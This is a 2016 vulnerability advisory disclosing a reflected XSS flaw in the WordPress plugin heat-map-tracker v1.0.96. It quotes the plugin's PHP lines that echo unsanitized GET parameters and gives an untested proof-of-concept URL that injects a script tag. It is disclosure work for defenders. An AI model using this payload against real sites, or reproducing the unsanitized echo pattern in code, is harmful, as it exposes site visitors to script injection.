Advisory #: 565
Title: Reflected XSS in wordpress plugin heat-map-tracker v1.0.96
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/heat-map-tracker
Downloads: 3978
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: heat-map-tracker
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./heat-map-tracker/includes/markup/mk-heatmap-page.php: 274: <li style="margin: 10px 0 0;">From: <?php echo $_GET['from'] ?> To: <?php echo $_GET['to'] ?></li> 289: <li style="margin: 10px 0 0;">For the period From: <?php echo $_GET['from'] ?> To: <?php echo $_GET['to'] ?></li> 297:<iframe id="spy-iframe" class="spy-frame" src="<?php echo $_GET["url"]; ?>" name="spy-frame" frameborder="0" noresize="noresize" scrolling="no"></iframe> The variable url appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./heat-map-tracker/includes/markup/mk-heatmap-page.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/heat-map-tracker/includes/markup/mk-heatmap-page.php?url="><script>alert(1);</script><"